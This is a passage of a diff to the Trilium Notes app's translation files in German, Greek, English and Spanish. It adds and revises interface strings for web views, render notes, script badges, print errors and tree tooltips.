+    "bookmarks": "Lesezeichen"
+  },
+  "web_view_setup": {
+    "title": "Erstelle eine Live-Ansicht einer Webseite direkt in Trilium",
+    "url_placeholder": "Gib oder füge die Adresse der Webseite ein, zum Beispiel https://triliumnotes.org",
+    "create_button": "Erstelle Web Ansicht",
+    "invalid_url_title": "Ungültige Adresse",
+    "invalid_url_message": "Füge eine valide Webadresse ein, zum Beispiel https://triliumnotes.org.",
+    "disabled_description": "Diese Webansicht wurde von einer externen Quelle importiert. Um Sie vor Phishing oder schädlichen Inhalten zu schützen, wird sie nicht automatisch geladen. Sie können sie aktivieren, wenn Sie der Quelle vertrauen.",
+    "disabled_button_enable": "Webansicht aktivieren"
+  },
+  "render": {
+    "setup_create_sample_html": "Eine Beispielnotiz mit HTML erstellen",
+    "setup_create_sample_preact": "Eine Beispielnotiz mit Preact erstellen",
+    "setup_title": "Benutzerdefiniertes HTML oder Preact JSX in dieser Notiz anzeigen",
+    "setup_sample_created": "Eine Beispielnotiz wurde als untergeordnete Notiz erstellt.",
+    "disabled_description": "Diese Rendering-Notizen stammen aus einer externen Quelle. Um Sie vor schädlichen Inhalten zu schützen, ist diese Funktion standardmäßig deaktiviert. Stellen Sie sicher, dass Sie der Quelle vertrauen, bevor Sie sie aktivieren.",
+    "disabled_button_enable": "Rendering-Notiz aktivieren"
+  },
+  "active_content_badges": {
+    "type_icon_pack": "Icon-Paket",
+    "type_backend_script": "Backend-Skript",
+    "type_frontend_script": "Frontend-Skript",
+    "type_widget": "Widget",
+    "type_app_css": "Benutzerdefiniertes CSS",
+    "type_render_note": "Rendering-Notiz",
+    "type_web_view": "Webansicht",
+    "type_app_theme": "Benutzerdefiniertes Thema",
+    "toggle_tooltip_enable_tooltip": "Klicken, um diesen {{type}} zu aktivieren.",
+    "toggle_tooltip_disable_tooltip": "Klicken, um diesen {{type}} zu deaktivieren.",
+    "menu_docs": "Dokumentation öffnen",
+    "menu_execute_now": "Skript jetzt ausführen",
+    "menu_run": "Automatisch ausführen",
+    "menu_run_disabled": "Manuell",
+    "menu_run_backend_startup": "Wenn das Backend startet",
+    "menu_run_hourly": "Stündlich",
+    "menu_run_daily": "Täglich",
+    "menu_run_frontend_startup": "Wenn das Desktop-Frontend startet",
+    "menu_run_mobile_startup": "Wenn das mobile Frontend startet",
+    "menu_change_to_widget": "Zum Widget wechseln",
+    "menu_change_to_frontend_script": "Zum Frontend-Skript wechseln",
+    "menu_theme_base": "Themenbasis"
+  },
+  "setup_form": {
+    "more_info": "Mehr erfahren"
  }
 }
--- a/apps/client/src/translations/el/translation.json
+++ b/apps/client/src/translations/el/translation.json
@@ -13,6 +13,61 @@
    "critical-error": {
      "title": "Κρίσιμο σφάλμα",
      "message": "Συνέβη κάποιο κρίσιμο σφάλμα, το οποίο δεν επιτρέπει στην εφαρμογή χρήστη να ξεκινήσει:\n\n{{message}}\n\nΤο πιθανότερο είναι να προκλήθηκε από κάποιο script που απέτυχε απρόοπτα. Δοκιμάστε να ξεκινήσετε την εφαρμογή σε ασφαλή λειτουργία για να λύσετε το πρόβλημα."
-    }
+    },
+    "widget-error": {
+      "title": "Δεν ήταν δυνατή η αρχικοποίηση του widget",
+      "message-custom": "Προσαρμοσμένο widget της σημείωσης με ID \"{{id}}\", με τίτλο \"{{title}}\", δεν ήταν δυνατό να αρχικοποιηθεί λόγω:\n\n{{message}}",
+      "message-unknown": "Άγνωστο widget δεν ήταν δυνατό να αρχικοποιηθεί λόγω:\n\n{{message}}"
+    },
+    "bundle-error": {
+      "title": "Δεν ήταν δυνατή η φόρτωση προσαρμοσμένου script",
+      "message": "Το script δεν ήταν δυνατό να εκτελεστεί λόγω:\n\n{{message}}"
+    },
+    "widget-list-error": {
+      "title": "Δεν ήταν δυνατή η λήψη της λίστας των widgets από τον server"
+    },
+    "widget-render-error": {
+      "title": "Δεν ήταν δυνατή η απόδοση προσαρμοσμένου React widget"
+    },
+    "widget-missing-parent": "Το προσαρμοσμένο widget δεν έχει ορισμένη την υποχρεωτική ιδιότητα '{{property}}'.\n\nΕάν το script προορίζεται για εκτέλεση χωρίς UI element, χρησιμοποιήστε '#run=frontendStartup' αντί για αυτό.",
+    "open-script-note": "Άνοιγμα σημείωσης script",
+    "scripting-error": "Σφάλμα προσαρμοσμένου script: {{title}}"
+  },
+  "bookmark_buttons": {
+    "bookmarks": "Σελιδοδείκτες"
+  },
+  "add_link": {
+    "add_link": "Προσθήκη συνδέσμου",
+    "help_on_links": "Βοήθεια για συνδέσμους",
+    "note": "Σημείωση",
+    "search_note": "Αναζήτηση σημείωσης με βάση το όνομά της",
+    "link_title_mirrors": "Ο τίτλος του συνδέσμου αντικατοπτρίζει τον τρέχοντα τίτλο της σημείωσης",
+    "link_title_arbitrary": "Ο τίτλος του συνδέσμου μπορεί να τροποποιηθεί ελεύθερα",
+    "link_title": "Τίτλος συνδέσμου",
+    "button_add_link": "Προσθήκη συνδέσμου"
+  },
+  "branch_prefix": {
+    "edit_branch_prefix": "Επεξεργασία προθέματος κλάδου",
+    "edit_branch_prefix_multiple": "Επεξεργασία προθέματος κλάδου για {{count}} κλάδους",
+    "help_on_tree_prefix": "Βοήθεια για πρόθεμα δέντρου",
+    "prefix": "Πρόθεμα: ",
+    "save": "Αποθήκευση",
+    "branch_prefix_saved": "Το πρόθεμα κλάδου αποθηκεύτηκε.",
+    "branch_prefix_saved_multiple": "Το πρόθεμα κλάδου αποθηκεύτηκε για {{count}} κλάδους.",
+    "affected_branches": "Επηρεαζόμενοι κλάδοι ({{count}}):"
+  },
+  "bulk_actions": {
+    "bulk_actions": "Μαζικές ενέργειες",
+    "affected_notes": "Επηρεαζόμενες σημειώσεις",
+    "include_descendants": "Συμπερίληψη απογόνων των επιλεγμένων σημειώσεων",
+    "available_actions": "Διαθέσιμες ενέργειες",
+    "chosen_actions": "Επιλεγμένες ενέργειες",
+    "execute_bulk_actions": "Εκτέλεση μαζικών ενεργειών",
+    "bulk_actions_executed": "Οι μαζικές ενέργειες εκτελέστηκαν επιτυχώς.",
+    "none_yet": "Καμία ακόμη… προσθέστε μια ενέργεια επιλέγοντας μία από τις διαθέσιμες παραπάνω.",
+    "labels": "Ετικέτες",
+    "relations": "Συσχετίσεις",
+    "notes": "Σημειώσεις",
+    "other": "Λοιπά"
  }
 }
--- a/apps/client/src/translations/en/translation.json
+++ b/apps/client/src/translations/en/translation.json
@@ -662,7 +662,8 @@
    "show-cheatsheet": "Show Cheatsheet",
    "toggle-zen-mode": "Zen Mode",
    "new-version-available": "New Update Available",
-    "download-update": "Get Version {{latestVersion}}"
+    "download-update": "Get Version {{latestVersion}}",
+    "search_notes": "Search notes"
  },
  "zen_mode": {
    "button_exit": "Exit Zen Mode"
@@ -745,7 +746,7 @@
    "button_title": "Export diagram as SVG"
  },
  "relation_map_buttons": {
-    "create_child_note_title": "Create new child note and add it into this relation map",
+    "create_child_note_title": "Create child note and add it to map",
    "reset_pan_zoom_title": "Reset pan & zoom to initial coordinates and magnification",
    "zoom_in_title": "Zoom In",
    "zoom_out_title": "Zoom Out"
@@ -760,7 +761,9 @@
    "delete_this_note": "Delete this note",
    "note_revisions": "Note revisions",
    "error_cannot_get_branch_id": "Cannot get branchId for notePath '{{notePath}}'",
-    "error_unrecognized_command": "Unrecognized command {{command}}"
+    "error_unrecognized_command": "Unrecognized command {{command}}",
+    "backlinks": "Backlinks",
+    "content_language_switcher": "Content language: {{language}}"
  },
  "note_icon": {
    "change_note_icon": "Change note icon",
@@ -905,6 +908,7 @@
    "debug": "debug",
    "debug_description": "Debug will print extra debugging information into the console to aid in debugging complex queries",
    "action": "action",
+    "option": "option",
    "search_button": "Search",
    "search_execute": "Search & Execute actions",
    "save_to_note": "Save to note",
@@ -1006,7 +1010,7 @@
    "no_attachments": "This note has no attachments."
  },
  "book": {
-    "no_children_help": "This collection doesn't have any child notes so there's nothing to display. See <a href=\"https://triliumnext.github.io/Docs/Wiki/book-note.html\">wiki</a> for details.",
+    "no_children_help": "This collection doesn't have any child notes so there's nothing to display.",
    "drag_locked_title": "Locked for editing",
    "drag_locked_message": "Dragging not allowed since the collection is locked for editing."
  },
@@ -1063,13 +1067,21 @@
    "click_on_canvas_to_place_new_note": "Click on canvas to place new note"
  },
  "render": {
-    "note_detail_render_help_1": "This help note is shown because this note of type Render HTML doesn't have required relation to function properly.",
-    "note_detail_render_help_2": "Render HTML note type is used for <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">scripting</a>. In short, you have a HTML code note (optionally with some JavaScript) and this note will render it. To make it work, you need to define a <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relation</a> called \"renderNote\" pointing to the HTML note to render."
+    "setup_title": "Display custom HTML or Preact JSX inside this note",
+    "setup_create_sample_preact": "Create sample note with Preact",
+    "setup_create_sample_html": "Create sample note with HTML",
+    "setup_sample_created": "A sample note was created as a child note.",
+    "disabled_description": "This render notes comes from an external source. To protect you from malicious content, it is not enabled by default. Make sure you trust the source before enabling it.",
+    "disabled_button_enable": "Enable render note"
  },
-  "web_view": {
-    "web_view": "Web View",
-    "embed_websites": "Note of type Web View allows you to embed websites into Trilium.",
-    "create_label": "To start, please create a label with a URL address you want to embed, e.g. #webViewSrc=\"https://www.google.com\""
+  "web_view_setup": {
+    "title": "Create a live view of a webpage directly into Trilium",
+    "url_placeholder": "Enter or paste the website address, for example https://triliumnotes.org",
+    "create_button": "Create Web View",
+    "invalid_url_title": "Invalid address",
+    "invalid_url_message": "Insert a valid web address, for example https://triliumnotes.org.",
+    "disabled_description": "This web view was imported from an external source. To help protect you from phishing or malicious content, it isn’t loading automatically. You can enable it if you trust the source.",
+    "disabled_button_enable": "Enable web view"
  },
  "backend_log": {
    "refresh": "Refresh"
@@ -1220,6 +1232,7 @@
    "openai_configuration": "OpenAI Configuration",
    "openai_settings": "OpenAI Settings",
    "api_key": "API Key",
+    "api_key_placeholder": "API key is configured (enter a new value to replace it)",
    "url": "Base URL",
    "model": "Model",
    "openai_api_key_description": "Your OpenAI API key for accessing their AI services",
@@ -1585,7 +1598,8 @@
    "description": "Description",
    "reload_app": "Reload app to apply changes",
    "set_all_to_default": "Set all shortcuts to the default",
-    "confirm_reset": "Do you really want to reset all keyboard shortcuts to the default?"
+    "confirm_reset": "Do you really want to reset all keyboard shortcuts to the default?",
+    "no_results": "No shortcuts found matching '{{filter}}'"
  },
  "spellcheck": {
    "title": "Spell Check",
@@ -1791,6 +1805,8 @@
    "printing": "Printing in progress...",
    "printing_pdf": "Exporting to PDF in progress...",
    "print_report_title": "Print report",
+    "print_report_error_title": "Failed to print",
+    "print_report_stack_trace": "Stack trace",
    "print_report_collection_content_one": "{{count}} note in the collection could not be printed because they are not supported or they are protected.",
    "print_report_collection_content_other": "{{count}} notes in the collection could not be printed because they are not supported or they are protected.",
    "print_report_collection_details_button": "See details",
@@ -1958,8 +1974,8 @@
    "desktop-application": "Desktop Application",
    "native-title-bar": "Native title bar",
    "native-title-bar-description": "For Windows and macOS, keeping the native title bar off makes the application look more compact. On Linux, keeping the native title bar on integrates better with the rest of the system.",
-    "background-effects": "Enable background effects (Windows 11 only)",
-    "background-effects-description": "The Mica effect adds a blurred, stylish background to app windows, creating depth and a modern look. \"Native title bar\" must be disabled.",
+    "background-effects": "Enable background effects",
+    "background-effects-description": "Adds a blurred, stylish background to app windows, creating depth and a modern look. \"Native title bar\" must be disabled.",
    "restart-app-button": "Restart the application to view the changes",
    "zoom-factor": "Zoom factor"
  },
@@ -1977,6 +1993,7 @@
  },
  "geo-map": {
    "create-child-note-title": "Create a new child note and add it to the map",
+    "create-child-note-text": "Add marker",
    "create-child-note-instruction": "Click on the map to create a new note at that location or press Escape to dismiss.",
    "unable-to-load-map": "Unable to load map."
  },
@@ -2094,7 +2111,8 @@
    "raster": "Raster",
    "vector_light": "Vector (Light)",
    "vector_dark": "Vector (Dark)",
-    "show-scale": "Show scale"
+    "show-scale": "Show scale",
+    "show-labels": "Show marker names"
  },
  "table_context_menu": {
    "delete_row": "Delete row"
@@ -2152,7 +2170,7 @@
    "next_theme_message": "You are currently using the legacy theme, would you like to try the new theme?",
    "next_theme_button": "Try the new theme",
    "background_effects_title": "Background effects are now stable",
-    "background_effects_message": "On Windows devices, background effects are now fully stable. The background effects adds a touch of color to the user interface by blurring the background behind it. This technique is also used in other applications such as Windows Explorer.",
+    "background_effects_message": "On Windows and macOS devices, background effects are now stable. The background effects adds a touch of color to the user interface by blurring the background behind it.",
    "background_effects_button": "Enable background effects",
    "new_layout_title": "New layout",
    "new_layout_message": "We’ve introduced a modernized layout for Trilium. The ribbon has been removed and seamlessly integrated into the main interface, with a new status bar and expandable sections (such as promoted attributes) taking over key functions.\n\nThe new layout is enabled by default, and can be temporarily disabled via Options → Appearance.",
@@ -2173,8 +2191,9 @@
    "percentage": "%"
  },
  "pagination": {
-    "page_title": "Page of {{startIndex}} - {{endIndex}}",
-    "total_notes": "{{count}} notes"
+    "total_notes": "{{count}} notes",
+    "prev_page": "Previous page",
+    "next_page": "Next page"
  },
  "collections": {
    "rendering_error": "Unable to show content due to an error."
@@ -2267,5 +2286,43 @@
    "pages_other": "{{count}} pages",
    "pages_alt": "Page {{pageNumber}}",
    "pages_loading": "Loading..."
+  },
+  "platform_indicator": {
+    "available_on": "Available on {{platform}}"
+  },
+  "mobile_tab_switcher": {
+    "title_one": "{{count}} tab",
+    "title_other": "{{count}} tabs",
+    "more_options": "More options"
+  },
+  "bookmark_buttons": {
+    "bookmarks": "Bookmarks"
+  },
+  "active_content_badges": {
+    "type_icon_pack": "Icon pack",
+    "type_backend_script": "Backend script",
+    "type_frontend_script": "Frontend script",
+    "type_widget": "Widget",
+    "type_app_css": "Custom CSS",
+    "type_render_note": "Render note",
+    "type_web_view": "Web view",
+    "type_app_theme": "Custom theme",
+    "toggle_tooltip_enable_tooltip": "Click to enable this {{type}}.",
+    "toggle_tooltip_disable_tooltip": "Click to disable this {{type}}.",
+    "menu_docs": "Open documentation",
+    "menu_execute_now": "Execute script now",
+    "menu_run": "Run automatically",
+    "menu_run_disabled": "Manually",
+    "menu_run_backend_startup": "When the backend starts up",
+    "menu_run_hourly": "Hourly",
+    "menu_run_daily": "Daily",
+    "menu_run_frontend_startup": "When the desktop frontend starts up",
+    "menu_run_mobile_startup": "When the mobile frontend starts up",
+    "menu_change_to_widget": "Change to widget",
+    "menu_change_to_frontend_script": "Change to frontend script",
+    "menu_theme_base": "Theme base"
+  },
+  "setup_form": {
+    "more_info": "Learn more"
  }
 }
--- a/apps/client/src/translations/es/translation.json
+++ b/apps/client/src/translations/es/translation.json
@@ -662,7 +662,8 @@
    "show-cheatsheet": "Mostrar hoja de trucos",
    "toggle-zen-mode": "Modo Zen",
    "new-version-available": "Nueva actualización disponible",
-    "download-update": "Obtener versión {{latestVersion}}"
+    "download-update": "Obtener versión {{latestVersion}}",
+    "search_notes": "Buscar notas"
  },
  "zen_mode": {
    "button_exit": "Salir del modo Zen"
@@ -745,7 +746,7 @@
    "button_title": "Exportar diagrama como SVG"
  },
  "relation_map_buttons": {
-    "create_child_note_title": "Crear una nueva subnota y agregarla a este mapa de relaciones",
+    "create_child_note_title": "Crear una subnota y agregarla al mapa",
    "reset_pan_zoom_title": "Restablecer la panorámica y el zoom a las coordenadas y ampliación iniciales",
    "zoom_in_title": "Acercar",
    "zoom_out_title": "Alejar"
@@ -754,14 +755,16 @@
    "relation": "relación",
    "backlink_one": "{{count}} Vínculo de retroceso",
    "backlink_many": "{{count}} Vínculos de retroceso",
-    "backlink_other": "{{count}} vínculos de retroceso"
+    "backlink_other": "{{count}} Vínculos de retroceso"
  },
  "mobile_detail_menu": {
    "insert_child_note": "Insertar subnota",
    "delete_this_note": "Eliminar esta nota",
    "error_cannot_get_branch_id": "No se puede obtener el branchID del notePath '{{notePath}}'",
    "error_unrecognized_command": "Comando no reconocido {{command}}",
-    "note_revisions": "Revisiones de notas"
+    "note_revisions": "Revisiones de notas",
+    "backlinks": "Vínculos de retroceso",
+    "content_language_switcher": "Idioma de contenido: {{language}}"
  },
  "note_icon": {
    "change_note_icon": "Cambiar icono de nota",
@@ -799,11 +802,11 @@
    "board": "Tablero",
    "include_archived_notes": "Mostrar notas archivadas",
    "presentation": "Presentación",
-    "expand_tooltip": "Expande las notas hijas inmediatas de esta colección (un nivel). Para más opciones, pulsa la flecha a la derecha.",
+    "expand_tooltip": "Expande las subnotas inmediatas de esta colección (un nivel). Para más opciones, pulsa la flecha a la derecha.",
    "expand_first_level": "Expandir hijos inmediatos",
    "expand_nth_level": "Expandir {{depth}} niveles",
    "expand_all_levels": "Expandir todos los niveles",
-    "hide_child_notes": "Ocultar notas hijas en el árbol"
+    "hide_child_notes": "Ocultar subnotas en el árbol"
  },
  "edited_notes": {
    "no_edited_notes_found": "Aún no hay notas editadas en este día...",
@@ -849,7 +852,8 @@
    "calculate": "calcular",
    "subtree_size": "(tamaño del subárbol: {{size}} en {{count}} notas)",
    "title": "Información de nota",
-    "mime": "Tipo MIME"
+    "mime": "Tipo MIME",
+    "show_similar_notes": "Mostrar notas similares"
  },
  "note_map": {
    "open_full": "Ampliar al máximo",
@@ -912,7 +916,9 @@
    "search_parameters": "Parámetros de búsqueda",
    "unknown_search_option": "Opción de búsqueda desconocida {{searchOptionName}}",
    "search_note_saved": "La nota de búsqueda se ha guardado en {{- notePathTitle}}",
-    "actions_executed": "Las acciones han sido ejecutadas."
+    "actions_executed": "Las acciones han sido ejecutadas.",
+    "view_options": "Ver opciones:",
+    "option": "opción"
  },
  "similar_notes": {
    "title": "Notas similares",
@@ -1015,7 +1021,13 @@
  },
  "editable_text": {
    "placeholder": "Escribe aquí el contenido de tu nota...",
-    "auto-detect-language": "Detectado automáticamente"
+    "auto-detect-language": "Detectado automáticamente",
+    "editor_crashed_title": "El editor de texto ha dejado de responder",
+    "editor_crashed_content": "Su contenido ha sido recuperado con éxito, pero puede que algunos de sus cambios más recientes no se hayan guardado.",
+    "editor_crashed_details_button": "Ver más detalles...",
+    "editor_crashed_details_intro": "Si experimenta este error varias veces, considere informarlo en GitHub adjuntando la siguiente información.",
+    "editor_crashed_details_title": "Información técnica",
+    "keeps-crashing": "El componente de edición sigue fallando. Por favor, intente reiniciar Trilium. Si el problema persiste, considere crear un informe de fallos."
  },
  "empty": {
    "open_note_instruction": "Abra una nota escribiendo el título de la nota en la entrada a continuación o elija una nota en el árbol.",
@@ -1056,15 +1068,6 @@
    "default_new_note_title": "nueva nota",
    "click_on_canvas_to_place_new_note": "Haga clic en el lienzo para colocar una nueva nota"
  },
-  "render": {
-    "note_detail_render_help_1": "Esta nota de ayuda se muestra porque esta nota de tipo Renderizar HTML no tiene la relación requerida para funcionar correctamente.",
-    "note_detail_render_help_2": "El tipo de nota Render HTML es usado para <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/scripts.html\">scripting</a>. De forma resumida, tiene una nota con código HTML (opcionalmente con algo de JavaScript) y esta nota la renderizará. Para que funcione, es necesario definir una <a class=\"external\" href=\"https://triliumnext.github.io/Docs/Wiki/attributes.html\">relación</a> llamada \"renderNote\" apuntando a la nota HTML nota a renderizar."
-  },
-  "web_view": {
-    "web_view": "Vista web",
-    "embed_websites": "La nota de tipo Web View le permite insertar sitios web en Trilium.",
-    "create_label": "Para comenzar, por favor cree una etiqueta con una dirección URL que desee empotrar, e.g. #webViewSrc=\"https://www.google.com\""
-  },
  "backend_log": {
    "refresh": "Refrescar"
  },
@@ -1331,8 +1334,8 @@
  "code_mime_types": {
    "title": "Tipos MIME disponibles en el menú desplegable",
    "tooltip_syntax_highlighting": "Resaltado de sintaxis",
-    "tooltip_code_block_syntax": "Bloques de Código en notas de Texto",
-    "tooltip_code_note_syntax": "Notas de Código"
+    "tooltip_code_block_syntax": "Bloques de código en Notas de texto",
+    "tooltip_code_note_syntax": "Notas de código"
  },
  "vim_key_bindings": {
    "use_vim_keybindings_in_code_notes": "Combinaciones de teclas Vim",
@@ -1409,16 +1412,16 @@
    "markdown": "Estilo Markdown"
  },
  "highlights_list": {
-    "title": "Lista de aspectos destacados",
-    "description": "Puede personalizar la lista de aspectos destacados que se muestra en el panel derecho:",
+    "title": "Lista de puntos destacados",
+    "description": "Puede personalizar la lista de puntos destacados que se muestra en el panel derecho:",
    "bold": "Texto en negrita",
    "italic": "Texto en cursiva",
    "underline": "Texto subrayado",
    "color": "Texto con color",
    "bg_color": "Texto con color de fondo",
-    "visibility_title": "Visibilidad de la lista de aspectos destacados",
-    "visibility_description": "Puede ocultar el widget de aspectos destacados por nota agregando una etiqueta #hideHighlightWidget.",
-    "shortcut_info": "Puede configurar un método abreviado de teclado para alternar rápidamente el panel derecho (incluidos los aspectos destacados) en Opciones -> Atajos (nombre 'toggleRightPane')."
+    "visibility_title": "Visibilidad de la lista de puntos destacados",
+    "visibility_description": "Puede ocultar el widget de puntos destacados por nota agregando la etiqueta #hideHighlightWidget.",
+    "shortcut_info": "Puede configurar un método abreviado de teclado para alternar rápidamente el panel derecho (incluidos los puntos destacados) en Opciones -> Atajos (nombre 'toggleRightPane')."
  },
  "table_of_contents": {
    "title": "Tabla de contenido",
@@ -1565,7 +1568,8 @@
    "description": "Descripción",
    "reload_app": "Vuelva a cargar la aplicación para aplicar los cambios",
    "set_all_to_default": "Establecer todos los accesos directos al valor predeterminado",
-    "confirm_reset": "¿Realmente desea restablecer todos los atajos de teclado a sus valores predeterminados?"
+    "confirm_reset": "¿Realmente desea restablecer todos los atajos de teclado a sus valores predeterminados?",
+    "no_results": "No se encontraron atajos que coincidan con '{{filter}} '"
  },
  "spellcheck": {
    "title": "Revisión ortográfica",
@@ -1606,7 +1610,7 @@
  },
  "bookmark_switch": {
    "bookmark": "Marcador",
-    "bookmark_this_note": "Añadir esta nota a marcadores en el panel lateral izquierdo",
+    "bookmark_this_note": "Agregar esta nota a marcadores en el panel lateral izquierdo",
    "remove_bookmark": "Eliminar marcador"
  },
  "editability_select": {
@@ -1654,7 +1658,10 @@
    "convert-to-attachment-confirm": "¿Está seguro que desea convertir las notas seleccionadas en archivos adjuntos de sus notas padres? Esta operación solo aplica a notas de Imagen, otras notas serán omitidas.",
    "open-in-popup": "Edición rápida",
    "archive": "Archivar",
-    "unarchive": "Desarchivar"
+    "unarchive": "Desarchivar",
+    "open-in-a-new-window": "Abrir en una nueva ventana",
+    "hide-subtree": "Ocultar subárbol",
+    "show-subtree": "Mostrar subárbol"
  },
  "shared_info": {
    "shared_publicly": "Esta nota está compartida públicamente en {{- link}}.",
@@ -1715,7 +1722,13 @@
  },
  "highlights_list_2": {
    "title": "Lista de destacados",
-    "options": "Opciones"
+    "options": "Opciones",
+    "title_with_count_one": "{{count}} punto destacado",
+    "title_with_count_many": "{{count}} puntos destacados",
+    "title_with_count_other": "{{count}} puntos destacados",
+    "modal_title": "Configurar la lista de puntos destacados",
+    "menu_configure": "Configurar la lista de puntos destacados...",
+    "no_highlights": "Ningún punto destacado encontrado."
  },
  "quick-search": {
    "placeholder": "Búsqueda rápida",
@@ -1738,7 +1751,18 @@
    "refresh-saved-search-results": "Refrescar resultados de búsqueda guardados",
    "create-child-note": "Crear subnota",
    "unhoist": "Desanclar",
-    "toggle-sidebar": "Alternar barra lateral"
+    "toggle-sidebar": "Alternar barra lateral",
+    "dropping-not-allowed": "No está permitido soltar notas en esta ubicación.",
+    "clone-indicator-tooltip": "Esta nota tiene {{- count}} padres: {{- parents}}",
+    "clone-indicator-tooltip-single": "Esta nota está clonada (1 padre adicional: {{- parent}})",
+    "shared-indicator-tooltip": "Esta nota está compartida públicamente",
+    "shared-indicator-tooltip-with-url": "Esta nota está compartida públicamente en: {{- url}}",
+    "subtree-hidden-tooltip_one": "{{count}} subnota que está oculta del árbol",
+    "subtree-hidden-tooltip_many": "{{count}} subnotas que están ocultas del árbol",
+    "subtree-hidden-tooltip_other": "{{count}} subnotas que están ocultas del árbol",
+    "subtree-hidden-moved-title": "Agregado a {{title}}",
+    "subtree-hidden-moved-description-collection": "Esta colección oculta sus subnotas en el árbol.",
+    "subtree-hidden-moved-description-other": "Las subnotas están ocultas en el árbol para esta nota."
  },
  "title_bar_buttons": {
    "window-on-top": "Mantener esta ventana en la parte superior"
@@ -1749,10 +1773,23 @@
    "printing_pdf": "Exportando a PDF en curso..",
    "print_report_collection_content_one": "{{count}} nota en la colección no se puede imprimir porque no son compatibles o está protegida.",
    "print_report_collection_content_many": "{{count}} notas en la colección no se pueden imprimir porque no son compatibles o están protegidas.",
-    "print_report_collection_content_other": "{{count}} notas en la colección no se pueden imprimir porque no son compatibles o están protegidas."
+    "print_report_collection_content_other": "{{count}} notas en la colección no se pueden imprimir porque no son compatibles o están protegidas.",
+    "print_report_title": "Imprimir informe",
+    "print_report_collection_details_button": "Ver detalles",
+    "print_report_collection_details_ignored_notes": "Notas ignoradas",
+    "print_report_stack_trace": "Rastreo de pila",
+    "print_report_error_title": "Fallo al imprimir"
  },
  "note_title": {
-    "placeholder": "escriba el título de la nota aquí..."
+    "placeholder": "escriba el título de la nota aquí...",
+    "created_on": "Creado en <Value />",
+    "last_modified": "Modificado en <Value />",
+    "note_type_switcher_label": "Cambiar de {{type}} a:",
+    "note_type_switcher_others": "Otro tipo de nota",
+    "note_type_switcher_templates": "Plantilla",
+    "note_type_switcher_collection": "Colección",
+    "edited_notes": "Notas editadas en este día",
+    "promoted_attributes": "Atributos promovidos"
  },
  "search_result": {
    "no_notes_found": "No se han encontrado notas para los parámetros de búsqueda dados.",
@@ -1762,7 +1799,11 @@
    "configure_launchbar": "Configurar barra de lanzamiento"
  },
  "sql_result": {
-    "no_rows": "No se han devuelto filas para esta consulta"
+    "no_rows": "No se han devuelto filas para esta consulta",
+    "not_executed": "La consulta aún no ha sido ejecutada.",
+    "failed": "La ejecución de la consulta SQL ha fallado",
+    "statement_result": "Resultado de declaración",
+    "execute_now": "Ejecutar ahora"
  },
  "sql_table_schemas": {
    "tables": "Tablas"
@@ -1781,7 +1822,8 @@
  },
  "toc": {
    "table_of_contents": "Tabla de contenido",
-    "options": "Opciones"
+    "options": "Opciones",
+    "no_headings": "Sin encabezados."
  },
  "watched_file_update_status": {
    "file_last_modified": "Archivo <code class=\"file-path\"></code> ha sido modificado por última vez en<span class=\"file-last-modified\"></span>.",
@@ -1893,14 +1935,15 @@
    "open_note_in_new_tab": "Abrir nota en una pestaña nueva",
    "open_note_in_new_split": "Abrir nota en una nueva división",
    "open_note_in_new_window": "Abrir nota en una nueva ventana",
-    "open_note_in_popup": "Edición rápida"
+    "open_note_in_popup": "Edición rápida",
+    "open_note_in_other_split": "Abrir nota en la otra división"
  },
  "electron_integration": {
    "desktop-application": "Aplicación de escritorio",
    "native-title-bar": "Barra de título nativa",
    "native-title-bar-description": "Para Windows y macOS, quitar la barra de título nativa hace que la aplicación se vea más compacta. En Linux, mantener la barra de título nativa hace que se integre mejor con el resto del sistema.",
-    "background-effects": "Habilitar efectos de fondo (sólo en Windows 11)",
-    "background-effects-description": "El efecto Mica agrega un fondo borroso y elegante a las ventanas de la aplicación, creando profundidad y un aspecto moderno. \"Título nativo de la barra\" debe deshabilitarse.",
+    "background-effects": "Habilitar efectos de fondo",
+    "background-effects-description": "Agrega un fondo borroso y elegante a las ventanas de la aplicación, creando profundidad y un aspecto moderno. \"Título nativo de la barra\" debe deshabilitarse.",
    "restart-app-button": "Reiniciar la aplicación para ver los cambios",
    "zoom-factor": "Factor de zoom"
  },
@@ -1919,7 +1962,8 @@
  "geo-map": {
    "create-child-note-title": "Crear una nueva subnota y agregarla al mapa",
    "create-child-note-instruction": "Dé clic en el mapa para crear una nueva nota en esa ubicación o presione Escape para cancelar.",
-    "unable-to-load-map": "No se puede cargar el mapa."
+    "unable-to-load-map": "No se puede cargar el mapa.",
+    "create-child-note-text": "Agregar marcador"
  },
  "geo-map-context": {
    "open-location": "Abrir ubicación",
@@ -1962,10 +2006,11 @@
  },
  "note_language": {
    "not_set": "Idioma no establecido",
-    "configure-languages": "Configurar idiomas..."
+    "configure-languages": "Configurar idiomas...",
+    "help-on-languages": "Ayuda en idiomas de contenido..."
  },
  "content_language": {
-    "title": "Contenido de idiomas",
+    "title": "Idiomas de contenido",
    "description": "Seleccione uno o más idiomas que deben aparecer en la selección del idioma en la sección Propiedades Básicas de una nota de texto de solo lectura o editable. Esto permitirá características tales como corrección de ortografía o soporte de derecha a izquierda."
  },
  "switch_layout_button": {
@@ -1980,7 +2025,8 @@
    "button_title": "Exportar diagrama como PNG"
  },
  "svg": {
-    "export_to_png": "El diagrama no pudo ser exportado a PNG."
+    "export_to_png": "El diagrama no pudo ser exportado a PNG.",
+    "export_to_svg": "El diagrama no pudo ser exportado a SVG."
  },
  "code_theme": {
    "title": "Apariencia",
@@ -2083,9 +2129,12 @@
    "next_theme_message": "Estás usando actualmente el tema heredado. ¿Te gustaría probar el nuevo tema?",
    "next_theme_button": "Prueba el nuevo tema",
    "background_effects_title": "Los efectos de fondo son ahora estables",
-    "background_effects_message": "En los dispositivos Windows, los efectos de fondo ya son totalmente estables. Los efectos de fondo añaden un toque de color a la interfaz de usuario difuminando el fondo que hay detrás. Esta técnica también se utiliza en otras aplicaciones como el Explorador de Windows.",
+    "background_effects_message": "En los dispositivos Windows y macOS, los efectos de fondo ya son estables. Los efectos de fondo añaden un toque de color a la interfaz de usuario difuminando el fondo que hay detrás.",
    "background_effects_button": "Activar efectos de fondo",
-    "dismiss": "Desestimar"
+    "dismiss": "Desestimar",
+    "new_layout_title": "Nuevo diseño",
